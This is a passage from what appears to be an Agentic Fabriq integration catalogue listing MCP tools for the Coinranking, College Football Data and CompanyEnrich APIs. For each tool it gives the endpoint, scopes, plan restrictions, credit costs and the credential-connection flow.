tool. GET /api/v1/coinranking/futures/coin/{uuid}/markets. Scopes: api. coinranking_get_futures_coin_by_uuid_ohlcv (read) — Get futures coin OHLCV via GET /futures/coin/{uuid}/ohlcv. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/coin/{uuid}/ohlcv. Scopes: api. coinranking_get_futures_coins (read) — Get futures coins via GET /futures/coins. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/coins. Scopes: api. coinranking_get_futures_exchange_by_uuid_coins (read) — Get futures exchange coins via GET /futures/exchange/{uuid}/coins. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/exchange/{uuid}/coins. Scopes: api. coinranking_get_futures_exchange_by_uuid_markets (read) — Get futures exchange markets via GET /futures/exchange/{uuid}/markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/exchange/{uuid}/markets. Scopes: api. coinranking_get_futures_exchanges (read) — Get futures exchanges via GET /futures/exchanges. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/exchanges. Scopes: api. coinranking_get_futures_market_by_uuid (read) — Get futures market details via GET /futures/market/{uuid}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/market/{uuid}. Scopes: api. coinranking_get_futures_markets (read) — Get futures markets via GET /futures/markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/markets. Scopes: api. coinranking_get_indicators_by_uuid_atr (read) — Get coin ATR via GET /indicators/{uuid}/atr. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/indicators/{uuid}/atr. Scopes: api. coinranking_get_indicators_by_uuid_macd (read) — Get coin MACD via GET /indicators/{uuid}/macd. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/indicators/{uuid}/macd. Scopes: api. coinranking_get_indicators_by_uuid_moving_averages (read) — Get coin moving averages via GET /indicators/{uuid}/moving-averages. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/indicators/{uuid}/moving-averages. Scopes: api. coinranking_get_indicators_by_uuid_rsi (read) — Get coin RSI via GET /indicators/{uuid}/rsi. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/indicators/{uuid}/rsi. Scopes: api. coinranking_get_indicators_by_uuid_supertrend (read) — Get coin supertrend via GET /indicators/{uuid}/supertrend. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/indicators/{uuid}/supertrend. Scopes: api. coinranking_get_indicators_fear_and_greed (read) — Get fear and greed index via GET /indicators/fear-and-greed. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/indicators/fear-and-greed. Scopes: api. coinranking_get_mappings_by_provider_coin_by_providerid (read) — Coin mapping via GET /mappings/{provider}/coin/{providerId}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/mappings/{provider}/coin/{providerId}. Scopes: api. coinranking_get_market_by_uuid (read) — Get market details via GET /market/{uuid}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/market/{uuid}. Scopes: api. coinranking_get_markets (read) — Get list of markets via GET /markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/markets. Scopes: api. coinranking_get_reference_currencies (read) — Get list of reference currencies via GET /reference-currencies GET /api/v1/coinranking/reference-currencies. Scopes: api. coinranking_get_search_suggestions (read) — Get search suggestions via GET /search-suggestions GET /api/v1/coinranking/search-suggestions. Scopes: api. coinranking_get_stats (read) — Get global stats via GET /stats GET /api/v1/coinranking/stats. Scopes: api. coinranking_get_stats_bitcoin_dominance_history (read) — Get bitcoin dominance history via GET /stats/bitcoin-dominance-history. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/stats/bitcoin-dominance-history. Scopes: api. coinranking_get_stats_coins (read) — Get stats for selection of coins via GET /stats/coins GET /api/v1/coinranking/stats/coins. Scopes: api. coinranking_get_stats_global_market_caps (read) — Get global market cap history via GET /stats/global-market-caps. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/stats/global-market-caps. Scopes: api. coinranking_get_stats_global_trading_volumes (read) — Get global trading volume history via GET /stats/global-trading-volumes. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/stats/global-trading-volumes. Scopes: api. coinranking_get_tag_by_slug (read) — Get tag details via GET /tag/{slug} GET /api/v1/coinranking/tag/{slug}. Scopes: api. coinranking_get_tags (read) — Get list of tags via GET /tags GET /api/v1/coinranking/tags. Scopes: api. ================================================================================ ## College Football Data URL: https://www.agenticfabriq.com/integrations/collegefootballdata Section: Integrated Tools College Football Data — 84 MCP tools Provider key: collegefootballdata. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. collegefootballdata_get_calendar (read) — Returns the week-by-week season calendar. GET /api/v1/collegefootballdata/calendar. Scopes: api. collegefootballdata_get_coaches (read) — Returns historical head coach records. GET /api/v1/collegefootballdata/coaches. Scopes: api. collegefootballdata_get_coaches_profile (read) — Returns a coach profile with canonical identity and career totals. GET /api/v1/collegefootballdata/coaches/profile. Scopes: api. collegefootballdata_get_coaches_seasons (read) — Returns coach-season records with attributed results and team context. GET /api/v1/collegefootballdata/coaches/seasons. Scopes: api. collegefootballdata_get_coaches_tenures (read) — Returns continuous head-coaching tenures and their attributed records. GET /api/v1/collegefootballdata/coaches/tenures. Scopes: api. collegefootballdata_get_conferences (read) — Returns conferences and member counts. GET /api/v1/collegefootballdata/conferences. Scopes: api. collegefootballdata_get_conferences_affiliations (read) — Returns historical team conference affiliations. GET /api/v1/collegefootballdata/conferences/affiliations. Scopes: api. collegefootballdata_get_conferences_changes (read) — Returns team conference changes by season. GET /api/v1/collegefootballdata/conferences/changes. Scopes: api. collegefootballdata_get_draft_picks (read) — Returns historical NFL Draft picks. GET /api/v1/collegefootballdata/draft/picks. Scopes: api. collegefootballdata_get_draft_positions (read) — Returns the player position categories used in NFL Draft data. GET /api/v1/collegefootballdata/draft/positions. Scopes: api. collegefootballdata_get_draft_teams (read) — Returns the NFL teams represented in draft data. GET /api/v1/collegefootballdata/draft/teams. Scopes: api. collegefootballdata_get_drives (read) — Returns historical drive data. GET /api/v1/collegefootballdata/drives. Scopes: api. collegefootballdata_get_game_box_advanced (read) — Returns an advanced box score for a game. GET /api/v1/collegefootballdata/game/box/advanced. Scopes: api. collegefootballdata_get_games (read) — Returns historical game data. GET /api/v1/collegefootballdata/games. Scopes: api. collegefootballdata_get_games_media (read) — Returns broadcast and media information for games. GET /api/v1/collegefootballdata/games/media. Scopes: api. collegefootballdata_get_games_players (read) — Returns player box score statistics by game. GET /api/v1/collegefootballdata/games/players. Scopes: api. collegefootballdata_get_games_teams (read) — Returns team box score statistics by game. GET /api/v1/collegefootballdata/games/teams. Scopes: api. collegefootballdata_get_games_weather (read) — Returns historical and forecast weather data for games. Requires Patreon. GET /api/v1/collegefootballdata/games/weather. Scopes: api. collegefootballdata_get_info (read) — Returns the authenticated user's Patreon level and remaining API calls. Returns `null` when the request is not authenticated. GET /api/v1/collegefootballdata/info. Scopes: api. collegefootballdata_get_info_usage (read) — Returns recent usage for the authenticated user's shared CFB and CBB call pool. Returns `null` when the request is not authenticated. GET /api/v1/collegefootballdata/info/usage. Scopes: api. collegefootballdata_get_lines (read) — Returns historical betting lines and results. GET /api/v1/collegefootballdata/lines. Scopes: api. collegefootballdata_get_live_plays (read) — Returns live play-by-play data and advanced metrics for a game. Results may be cached for up to five seconds after calculation. GET /api/v1/collegefootballdata/live/plays. Scopes: api. collegefootballdata_get_metrics_fg_ep (read) — Returns expected points values for field goal attempts. GET /api/v1/collegefootballdata/metrics/fg/ep. Scopes: api. collegefootballdata_get_metrics_wp (read) — Returns play-by-play win probabilities for a game. GET /api/v1/collegefootballdata/metrics/wp. Scopes: api. collegefootballdata_get_metrics_wp_pregame (read) — Returns pregame win probabilities. GET /api/v1/collegefootballdata/metrics/wp/pregame. Scopes: api. collegefootballdata_get_passing_players_games (read) — Returns passer production, advanced metrics, and pass-location breakdowns by game. GET /api/v1/collegefootballdata/passing/players/games. Scopes: api. collegefootballdata_get_passing_players_season (read) — Returns passer production, advanced metrics, and pass-location breakdowns by season. GET /api/v1/collegefootballdata/passing/players/season. Scopes: api. collegefootballdata_get_passing_plays (read) — Returns enriched pass attempts with stored PPA, success, and location-analysis eligibility. GET /api/v1/collegefootballdata/passing/plays. Scopes: api. collegefootballdata_get_passing_teams_games (read) — Returns team passing production, advanced metrics, and pass-location breakdowns by game for offense and defense. GET /api/v1/collegefootballdata/passing/teams/games. Scopes: api. collegefootballdata_get_passing_teams_season (read) — Returns team passing production, advanced metrics, and pass-location breakdowns by season for offense and defense. GET /api/v1/collegefootballdata/passing/teams/season. Scopes: api. collegefootballdata_get_player_portal (read) — Returns transfer portal entries for a season. GET /api/v1/collegefootballdata/player/portal. Scopes: api. collegefootballdata_get_player_returning (read) — Returns returning production metrics by team and season. GET /api/v1/collegefootballdata/player/returning. Scopes: api. collegefootballdata_get_player_search (read) — Returns up to 100 players whose names match the search term. GET /api/v1/collegefootballdata/player/search. Scopes: api. collegefootballdata_get_player_season_overview (read) — Returns a player season overview with box score, usage, and Predicted Points Added (PPA) data. GET /api/v1/collegefootballdata/player/season/overview. Scopes: api. collegefootballdata_get_player_usage (read) — Returns player usage metrics for a season. GET /api/v1/collegefootballdata/player/usage. Scopes: api. collegefootballdata_get_playoffs_cfp (read) — Returns the complete College Football Playoff bracket for a season. GET /api/v1/collegefootballdata/playoffs/cfp. Scopes: api. collegefootballdata_get_playoffs_cfp_games (read) — Returns College Football Playoff matchups for a season. GET /api/v1/collegefootballdata/playoffs/cfp/games. Scopes: api. collegefootballdata_get_playoffs_cfp_participants (read) — Returns College Football Playoff participants for a season. GET /api/v1/collegefootballdata/playoffs/cfp/participants. Scopes: api. collegefootballdata_get_plays (read) — Returns historical play-by-play data. GET /api/v1/collegefootballdata/plays. Scopes: api. collegefootballdata_get_plays_stats (read) — Returns player and play-stat associations, limited to 2,000 records. GET /api/v1/collegefootballdata/plays/stats. Scopes: api. collegefootballdata_get_plays_stats_types (read) — Returns the available play stat types. GET /api/v1/collegefootballdata/plays/stats/types. Scopes: api. collegefootballdata_get_plays_types (read) — Returns the available play types. GET /api/v1/collegefootballdata/plays/types. Scopes: api. collegefootballdata_get_ppa_games (read) — Returns team Predicted Points Added (PPA) metrics by game. GET /api/v1/collegefootballdata/ppa/games. Scopes: api. collegefootballdata_get_ppa_players_games (read) — Returns player Predicted Points Added (PPA) metrics by game. GET /api/v1/collegefootballdata/ppa/players/games. Scopes: api. collegefootballdata_get_ppa_players_season (read) — Returns player Predicted Points Added (PPA) metrics by season. GET /api/v1/collegefootballdata/ppa/players/season. Scopes: api. collegefootballdata_get_ppa_predicted (read) — Returns predicted points values by down and distance. GET /api/v1/collegefootballdata/ppa/predicted. Scopes: api. collegefootballdata_get_ppa_teams (read) — Returns team Predicted Points Added (PPA) metrics by season. GET /api/v1/collegefootballdata/ppa/teams. Scopes: api. collegefootballdata_get_rankings (read) — Returns historical poll rankings. GET /api/v1/collegefootballdata/rankings. Scopes: api. collegefootballdata_get_ratings_core (read) — Returns Context & Opponent-Relative Efficiency (CORE) ratings. At least one of `year` or `team` is required. GET /api/v1/collegefootballdata/ratings/core. Scopes: api. collegefootballdata_get_ratings_elo (read) — Returns historical Elo ratings. GET /api/v1/collegefootballdata/ratings/elo. Scopes: api. collegefootballdata_get_ratings_fpi (read) — Returns historical Football Power Index (FPI) ratings. GET /api/v1/collegefootballdata/ratings/fpi. Scopes: api. collegefootballdata_get_ratings_sp (read) — Returns SP+ ratings by team and season. GET /api/v1/collegefootballdata/ratings/sp. Scopes: api. collegefootballdata_get_ratings_sp_conferences (read) — Returns conference-level SP+ ratings by season. GET /api/v1/collegefootballdata/ratings/sp/conferences. Scopes: api. collegefootballdata_get_ratings_srs (read) — Returns Simple Rating System (SRS) ratings by team and season. GET /api/v1/collegefootballdata/ratings/srs. Scopes: api. collegefootballdata_get_ratings_srs_expanded (read) — Returns expanded Simple Rating System (SRS) ratings, including FCS teams. GET /api/v1/collegefootballdata/ratings/srs/expanded. Scopes: api. collegefootballdata_get_records (read) — Returns historical team records by season. GET /api/v1/collegefootballdata/records. Scopes: api. collegefootballdata_get_recruiting_groups (read) — Returns recruiting ratings aggregated by team and position group. GET /api/v1/collegefootballdata/recruiting/groups. Scopes: api. collegefootballdata_get_recruiting_players (read) — Returns player recruiting rankings. GET /api/v1/collegefootballdata/recruiting/players. Scopes: api. collegefootballdata_get_recruiting_teams (read) — Returns team recruiting rankings. GET /api/v1/collegefootballdata/recruiting/teams. Scopes: api. collegefootballdata_get_roster (read) — Returns historical roster data. GET /api/v1/collegefootballdata/roster. Scopes: api. collegefootballdata_get_rushing_players_games (read) — Returns individually attributed rusher production by game. Player totals include only guarded rusher attribution, including individually attributed sacks. They do not include team-only or unresolved attempts and therefore are not expected to sum to team totals. GET /api/v1/collegefootballdata/rushing/players/games. Scopes: api. collegefootballdata_get_rushing_players_season (read) — Returns individually attributed rusher production by season. Player totals include only guarded rusher attribution, including individually attributed sacks. They do not include team-only or unresolved attempts and therefore are not expected to sum to team totals. GET /api/v1/collegefootballdata/rushing/players/season. Scopes: api. collegefootballdata_get_rushing_plays (read) — Returns enriched rushing attempts. Team results include sacks, kneels, team-only attempts, and unresolved attribution. Direction eligibility identifies the ordinary-rush analysis population; eligible attempts can still have an unknown direction. GET /api/v1/collegefootballdata/rushing/plays. Scopes: api. collegefootballdata_get_rushing_teams_games (read) — Returns team rushing production by game. Team totals include sacks, kneels, team-only attempts, and unresolved attribution. Defense contains rushing production allowed. GET /api/v1/collegefootballdata/rushing/teams/games. Scopes: api. collegefootballdata_get_rushing_teams_season (read) — Returns team rushing production by season. Team totals include sacks, kneels, team-only attempts, and unresolved attribution. Defense contains rushing production allowed. GET /api/v1/collegefootballdata/rushing/teams/season. Scopes: api. collegefootballdata_get_scoreboard (read) — Returns current scoreboard data. GET /api/v1/collegefootballdata/scoreboard. Scopes: api. collegefootballdata_get_stats_categories (read) — Returns the available team statistical categories. GET /api/v1/collegefootballdata/stats/categories. Scopes: api. collegefootballdata_get_stats_game_advanced (read) — Returns advanced team statistics aggregated by game. GET /api/v1/collegefootballdata/stats/game/advanced. Scopes: api. collegefootballdata_get_stats_game_havoc (read) — Returns team havoc statistics aggregated by game. GET /api/v1/collegefootballdata/stats/game/havoc. Scopes: api. collegefootballdata_get_stats_player_season (read) — Returns player statistics aggregated by season. GET /api/v1/collegefootballdata/stats/player/season. Scopes: api. collegefootballdata_get_stats_player_success (read) — Returns player passing and rushing success rates by season. GET /api/v1/collegefootballdata/stats/player/success. Scopes: api. collegefootballdata_get_stats_player_success_game (read) — Returns player passing and rushing success rates by game. GET /api/v1/collegefootballdata/stats/player/success/game. Scopes: api. collegefootballdata_get_stats_season (read) — Returns team statistics aggregated by season. GET /api/v1/collegefootballdata/stats/season. Scopes: api. collegefootballdata_get_stats_season_advanced (read) — Returns advanced team statistics aggregated by season. GET /api/v1/collegefootballdata/stats/season/advanced. Scopes: api. collegefootballdata_get_talent (read) — Returns 247Sports Team Talent Composite ratings for a season. GET /api/v1/collegefootballdata/talent. Scopes: api. collegefootballdata_get_teams (read) — Returns team information and conference affiliations. GET /api/v1/collegefootballdata/teams. Scopes: api. collegefootballdata_get_teams_ats (read) — Returns against-the-spread (ATS) records by team. GET /api/v1/collegefootballdata/teams/ats. Scopes: api. collegefootballdata_get_teams_fbs (read) — Returns Football Bowl Subdivision (FBS) teams for a season. GET /api/v1/collegefootballdata/teams/fbs. Scopes: api. collegefootballdata_get_teams_matchup (read) — Returns historical matchup results between two teams. GET /api/v1/collegefootballdata/teams/matchup. Scopes: api. collegefootballdata_get_venues (read) — Returns college football venues. GET /api/v1/collegefootballdata/venues. Scopes: api. collegefootballdata_get_wepa_players_kicking (read) — Returns Points Added Above Replacement (PAAR) ratings for kickers. GET /api/v1/collegefootballdata/wepa/players/kicking. Scopes: api. collegefootballdata_get_wepa_players_passing (read) — Returns opponent-adjusted player passing metrics. GET /api/v1/collegefootballdata/wepa/players/passing. Scopes: api. collegefootballdata_get_wepa_players_rushing (read) — Returns opponent-adjusted player rushing metrics. GET /api/v1/collegefootballdata/wepa/players/rushing. Scopes: api. collegefootballdata_get_wepa_team_season (read) — Returns opponent-adjusted team statistics by season. GET /api/v1/collegefootballdata/wepa/team/season. Scopes: api. ================================================================================ ## CompanyEnrich URL: https://www.agenticfabriq.com/integrations/companyenrich Section: Integrated Tools CompanyEnrich — 48 MCP tools Provider key: companyenrich. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. companyenrich_delete_lists_companies_by_id (write, destructive) — Delete a company list (Delete list) via DELETE /lists/companies/{id}. Deletes a list and all its entries. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. DELETE /api/v1/companyenrich/lists/companies/{id}. Scopes: api. companyenrich_get_companies (read) — Get a company by ID (Get by ID) via GET /companies. **Cost:** 1 credits per call Gets a company information by its CompanyEnrich ID. You can obtain this ID by calling the Enrich endpoint or other endpoints returning company information. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. GET /api/v1/companyenrich/companies. Scopes: api. companyenrich_get_companies_autocomplete (read) — Autocomplete company domains via GET /companies/autocomplete. **Cost:** FREE - No credits deducted Returns a list of companies matching the given partial domain name. This is useful for autocompleting domain names in your application. Up to 10 companies are returned per request. GET /api/v1/companyenrich/companies/autocomplete. Scopes: api. companyenrich_get_companies_enrich (read) — Enrich a company by domain (Enrich by domain) via GET /companies/enrich. **Cost:** 1 credit per call Enriches a company using its domain name as lookup parameter. We map each domain to a unique company so lookups via domain are fast and reliable. It is the preferred way to enrich a company. In case the domain name could not be enriched, the API will return a 404 error. Set `waitForEnrichment=false` to skip waiting for on-demand enrichment. Already stored company data is returned immediately. When the company is not stored yet, the API returns a 404 error without charging any credits and schedules the enrichment in the background, so a later call can return the company quickly. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. GET /api/v1/companyenrich/companies/enrich. Scopes: api. companyenrich_get_companies_enrich_bulk_by_jobid (read) — Get a bulk company enrichment job (Get job status) via GET /companies/enrich/bulk/{jobId}. **Cost:** FREE - No credits deducted Returns the current status of a bulk enrichment job. Once completed, includes the results_url to download the enrichment results. GET /api/v1/companyenrich/companies/enrich/bulk/{jobId}. Scopes: api. companyenrich_get_companies_enrich_bulk_jobs (read) — List bulk company enrichment jobs (List jobs) via GET /companies/enrich/bulk/jobs. **Cost:** FREE - No credits deducted Returns a paginated list of all bulk enrichment jobs for the authenticated user. Supports optional filtering by job status. GET /api/v1/companyenrich/companies/enrich/bulk/jobs. Scopes: api. companyenrich_get_companies_search_async_by_jobid (read) — Get a company search export job (Get export job status) via GET /companies/search/async/{jobId}. **Cost:** FREE - No credits deducted Returns the current status of a search export job. Once completed, includes the results_url to download the export results. GET /api/v1/companyenrich/companies/search/async/{jobId}. Scopes: api. companyenrich_get_companies_search_async_jobs (read) — List company search export jobs (List export jobs) via GET /companies/search/async/jobs. **Cost:** FREE - No credits deducted Returns a paginated list of all search export jobs for the authenticated user. Supports optional filtering by job status. GET /api/v1/companyenrich/companies/search/async/jobs. Scopes: api. companyenrich_get_companies_workforce (read) — Get company workforce insights via GET /companies/workforce. **Cost:** 5 credits per successful call Returns workforce insights for a single company. You must provide exactly one lookup parameter: `id` or `domain`. The response includes observed employee count, an employee range bucket, and headcounts grouped by root departments. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. GET /api/v1/companyenrich/companies/workforce. Scopes: api. companyenrich_get_geo_countries_by_countrycode (read) — Get a country by code (Get country by code) via GET /geo/countries/{countryCode}. Searches a country by its ISO 3166-1 alpha-2 code. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/geo/countries/{countryCode}. Scopes: api. companyenrich_get_geo_regions (read) — Get regions via GET /geo/regions. Returns all regions. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/geo/regions. Scopes: api. companyenrich_get_industries (read) — List industries via GET /industries. Obtain a list of all company industries. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/industries. Scopes: api. companyenrich_get_jobs (read) — List all jobs via GET /jobs. **Cost:** FREE - No credits deducted Returns a paginated list of all jobs (bulk enrichment, etc.) for the authenticated user. Supports optional filtering by job status and type. GET /api/v1/companyenrich/jobs. Scopes: api. companyenrich_get_jobs_by_jobid (read) — Get job details via GET /jobs/{jobId}. **Cost:** FREE - No credits deducted Returns details for a specific job by ID. GET /api/v1/companyenrich/jobs/{jobId}. Scopes: api. companyenrich_get_keywords_autocomplete (read) — Look up keywords (Lookup keywords) via GET /keywords/autocomplete. Endpoints for looking up keywords used in company search filters. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/keywords/autocomplete. Scopes: api. companyenrich_get_lists_companies (read) — Get all company lists (Get all lists) via GET /lists/companies. Get all company lists for the current user. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/lists/companies. Scopes: api. companyenrich_get_lists_companies_by_id (read) — Get a company list by id (Get a list by id) via GET /lists/companies/{id}. Get a company list by id. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/lists/companies/{id}. Scopes: api. companyenrich_get_me (read) — Get current user information via GET /me. **Cost:** FREE - No credits deducted Returns information about the authenticated user, including their API key, credit balance, and account capabilities. This endpoint requires authentication via an API key in the Authorization header. GET /api/v1/companyenrich/me. Scopes: api. companyenrich_get_people (read) — Get a person by ID (Get by ID) via GET /people. **Cost:** 2 credits per call Gets person information by its CompanyEnrich ID. You can obtain this ID from people search results, lookup responses, and other endpoints returning person information. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. GET /api/v1/companyenrich/people. Scopes: api. companyenrich_get_people_education (read) — Get a person's education history via GET /people/education. **Cost:** 1 credit per successful call Returns the education history for a person by their CompanyEnrich ID. The response is an empty array when the person has no education records. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. GET /api/v1/companyenrich/people/education. Scopes: api. companyenrich_get_people_email (read) — Resolve a person's work email (BETA) via GET /people/email. **BETA:** This endpoint is currently in beta and may change based on provider coverage and response tuning. **Cost:** 10 credits per newly accessed found email Resolves a work email address for a single person on a specific domain. If `domain` is omitted, current experience domains are tried automatically in seniority order. If `domain` is provided, it must match one of the person's experiences. The response does not expose provider details. It returns a person summary, the selected domain, and a status of `pending`, `found`, `not-found`, or `unavailable`. When the lookup completes successfully, the response also includes the resolved email and certainty value. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. GET /api/v1/companyenrich/people/email. Scopes: api. companyenrich_get_people_email_bulk_by_jobid (read) — Get a bulk person email enrichment job (BETA) (Get bulk email enrichment job status (BETA)) via GET /people/email/bulk/{jobId}. **BETA:** This endpoint is currently in beta and may change based on provider coverage, job orchestration, and response tuning. **Cost:** FREE - No credits deducted Returns the current status of a bulk person email enrichment job. Once completed, includes the results_url to download the full results. GET /api/v1/companyenrich/people/email/bulk/{jobId}. Scopes: api. companyenrich_get_people_search_async_by_jobid (read) — Get a people search export job (Get export job status) via GET /people/search/async/{jobId}. **Cost:** FREE - No credits deducted Returns the current status of a person search export job. Once completed, includes the results_url to download the export results. GET /api/v1/companyenrich/people/search/async/{jobId}. Scopes: api. companyenrich_get_people_search_async_jobs (read) — List people search export jobs (List export jobs) via GET /people/search/async/jobs. **Cost:** FREE - No credits deducted Returns a paginated list of all person search export jobs for the authenticated user. Supports optional filtering by job status. GET /api/v1/companyenrich/people/search/async/jobs. Scopes: api. companyenrich_get_positions_autocomplete (read) — Look up positions (Lookup positions) via GET /positions/autocomplete. Endpoints for looking up job positions and titles used in people search filters. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/positions/autocomplete. Scopes: api. companyenrich_get_technologies_autocomplete (read) — Look up technologies (Lookup technologies) via GET /technologies/autocomplete. Endpoints for looking up technologies used in company search filters. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. GET /api/v1/companyenrich/technologies/autocomplete. Scopes: api. companyenrich_post_companies_enrich (read) — Enrich a company by properties (Enrich by properties) via POST /companies/enrich. **Cost:** 1 credit per call Enriches a company using its properties. You need to provide at least one of the following properties: - Name - LinkedinUrl - LinkedinId - TwitterUrl - 